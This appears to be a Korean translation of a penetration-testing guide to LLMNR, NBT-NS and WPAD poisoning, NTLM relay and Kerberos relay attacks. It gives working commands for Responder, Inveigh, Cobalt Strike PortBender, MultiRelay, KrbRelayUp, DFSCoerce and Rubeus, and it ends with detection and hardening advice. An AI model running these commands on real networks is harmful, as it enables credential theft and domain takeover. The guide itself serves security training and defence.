LLMNR, NBT-NS, mDNS/DNS 및 WPAD 및 릴레이 공격 스푸핑

Reading time: 10 minutes

네트워크 프로토콜

로컬 호스트 해상도 프로토콜

• LLMNR, NBT-NS, 및 mDNS:
• Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
• 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
• Responder는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 보내 서비스로 가장하는 데 사용할 수 있습니다.
• Responder를 사용한 서비스 가장에 대한 추가 정보는 여기에서 확인할 수 있습니다.

웹 프록시 자동 검색 프로토콜 (WPAD)

• WPAD는 브라우저가 프록시 설정을 자동으로 발견할 수 있도록 합니다.
• 발견은 DHCP, DNS를 통해 이루어지며, DNS가 실패할 경우 LLMNR 및 NBT-NS로 대체됩니다.
• Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.

프로토콜 오염을 위한 Responder

• Responder는 LLMNR, NBT-NS 및 mDNS 쿼리를 오염시키기 위해 사용되는 도구로, 주로 SMB 서비스를 목표로 쿼리 유형에 따라 선택적으로 응답합니다.
• Kali Linux에 기본적으로 설치되어 있으며, /etc/responder/Responder.conf에서 구성할 수 있습니다.
• Responder는 캡처된 해시를 화면에 표시하고 /usr/share/responder/logs 디렉토리에 저장합니다.
• IPv4와 IPv6를 모두 지원합니다.
• Windows 버전의 Responder는 여기에서 사용할 수 있습니다.

Responder 실행

• 기본 설정으로 Responder를 실행하려면: responder -I <Interface>
• 더 공격적인 탐색을 위해 (부작용이 있을 수 있음): responder -I <Interface> -P -r -v
• NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: responder -I <Interface> --lm --disable-ess
• WPAD 가장을 활성화하려면: responder -I <Interface> --wpad
• NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: responder.py -I <interface> -Pv

Responder를 이용한 DHCP 오염

• DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있으며, ARP 오염보다 더 은밀한 대안이 됩니다.
• 이는 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.
• 공격 실행: ./Responder.py -I eth0 -Pdv
• 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.

Responder를 이용한 자격 증명 캡처

• Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
• NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명 크랙을 쉽게 할 수 있는 시도를 할 수 있습니다.

이러한 기술을 사용하는 것은 법적이고 윤리적으로 수행되어야 하며, 적절한 승인을 보장하고 중단이나 무단 접근을 피해야 합니다.

Inveigh

Inveigh는 Windows 시스템을 위한 침투 테스터 및 레드 팀원을 위한 도구입니다. Responder와 유사한 기능을 제공하며, 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전하였으며, Inveigh 및 InveighZero가 주요 버전입니다. 자세한 매개변수 및 지침은 wiki에서 확인할 수 있습니다.

Inveigh는 PowerShell을 통해 운영할 수 있습니다:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

C# 바이너리로 실행됨:

Inveigh.exe

NTLM 릴레이 공격

이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:

• 인증하는 사용자가 릴레이된 호스트에서 로컬 관리자 권한을 가져야 합니다.
• SMB 서명이 비활성화되어 있어야 합니다.

445 포트 포워딩 및 터널링

직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. PortBender와 같은 도구는 445 포트 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.

Cobalt Strike에서 PortBender 설정 및 작동:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM 릴레이 공격을 위한 기타 도구

• Metasploit: 프록시, 로컬 및 원격 호스트 세부정보로 설정.
• smbrelayx: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트.
• MultiRelay: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구.

각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.

MultiRelay 작동

MultiRelay는 /usr/share/responder/tools 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

이 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.

NTLM 로그인 강제화

Windows에서는 일부 특권 계정이 임의의 머신에 인증하도록 강제할 수 있습니다. 방법을 배우려면 다음 페이지를 읽으십시오:

Force NTLM Privileged Authentication

Kerberos Relay 공격

Kerberos relay 공격은 한 서비스에서 AP-REQ 티켓을 훔쳐서 같은 컴퓨터 계정 키를 공유하는 두 번째 서비스에 재사용합니다 (두 SPN이 같은 $ 머신 계정에 있기 때문입니다). SPN의 서비스 클래스가 다르더라도 (예: CIFS/ → LDAP/) 티켓을 해독하는 키는 머신의 NT 해시이므로 SPN 문자열 자체가 아니라 SPN 문자열은 서명의 일부가 아닙니다.

NTLM relay와 달리, 홉은 같은 호스트로 제한되지만, LDAP에 쓸 수 있는 프로토콜을 목표로 하면 자원 기반 제약 위임 (RBCD) 또는 AD CS 등록으로 체인할 수 있으며, 한 번에 NT AUTHORITY\SYSTEM을 팝할 수 있습니다.

이 공격에 대한 자세한 정보는 다음을 확인하십시오:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos 기본 사항

• 티켓은 SPN을 소유한 계정의 비밀번호 유도 키로 암호화됩니다.
• AP-REQ 내부의 인증자는 5분 타임스탬프를 가지고 있으며, 그 창 내에서 재생은 서비스 캐시가 중복을 감지할 때까지 유효합니다.
• Windows는 티켓의 SPN 문자열이 당신이 접근하는 서비스와 일치하는지 거의 확인하지 않으므로, CIFS/HOST에 대한 티켓은 일반적으로 LDAP/HOST에서 잘 해독됩니다.

• 2. Kerberos를 릴레이하기 위해 반드시 사실이어야 하는 것들

1. 공유 키: 출처 및 대상 SPN이 동일한 컴퓨터 계정에 속함 (Windows 서버의 기본값).
2. 채널 보호 없음: SMB/LDAP 서명 해제 및 HTTP/LDAPS에 대해 EPA 해제.
3. 인증을 가로채거나 강제할 수 있음: LLMNR/NBNS 중독, DNS 스푸핑, PetitPotam / DFSCoerce RPC, 가짜 AuthIP, 악성 DCOM 등.
4. 티켓 출처가 이미 사용되지 않음: 실제 패킷이 도달하기 전에 경주에서 이기거나 완전히 차단; 그렇지 않으면 서버의 재생 캐시가 이벤트 4649를 발생시킵니다.
5. 통신에서 MitM을 수행할 수 있어야 함; 도메인의 DNS를 수정하기 위해 DNSAmins 그룹의 일원이거나 피해자의 HOST 파일을 변경할 수 있어야 합니다.

Kerberos Relay 단계

• 3.1 호스트 정찰

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 릴레이 리스너 시작하기

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp는 KrbRelay → LDAP → RBCD → Rubeus → SCM 우회를 하나의 바이너리로 묶습니다.

• 3.3 Kerberos 인증 강제

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce는 DC가 Kerberos CIFS/DC01 티켓을 우리에게 보내도록 만듭니다.

• 3.4 AP-REQ 중계

KrbRelay는 SMB에서 GSS 블롭을 추출하고, 이를 LDAP 바인드로 재포장한 후 ldap://DC01로 전달합니다. 인증은 같은 키로 이를 복호화하기 때문에 성공합니다.

• 3.5 LDAP 남용 ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

당신은 이제 NT AUTHORITY\SYSTEM을 소유하고 있습니다.

알아두면 좋은 추가 경로

문제 해결

탐지

• 몇 초 이내에 동일한 출처에서 Event 4769의 급증.
• 서비스에서 Event 4649는 재전송이 감지되었음을 나타냄.
• 127.0.0.1에서의 Kerberos 로그온(로컬 SCM으로 릴레이)은 매우 의심스러움—KrbRelayUp 문서의 Sigma 규칙을 통해 매핑.
• msDS-AllowedToActOnBehalfOfOtherIdentity 또는 msDS-KeyCredentialLink 속성의 변경 사항을 주의 깊게 살펴보세요.

강화

1. 모든 서버에서 LDAP 및 SMB 서명 + EPA를 강제합니다.
2. SPN을 분리하여 HTTP가 CIFS/LDAP와 동일한 계정에 있지 않도록 합니다.
3. 강제 벡터를 패치합니다 (PetitPotam KB5005413, DFS, AuthIP).
4. **ms-DS-MachineAccountQuota = 0**로 설정하여 악성 컴퓨터 가입을 방지합니다.
5. Event 4649 및 예상치 못한 루프백 Kerberos 로그온에 대해 경고합니다.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html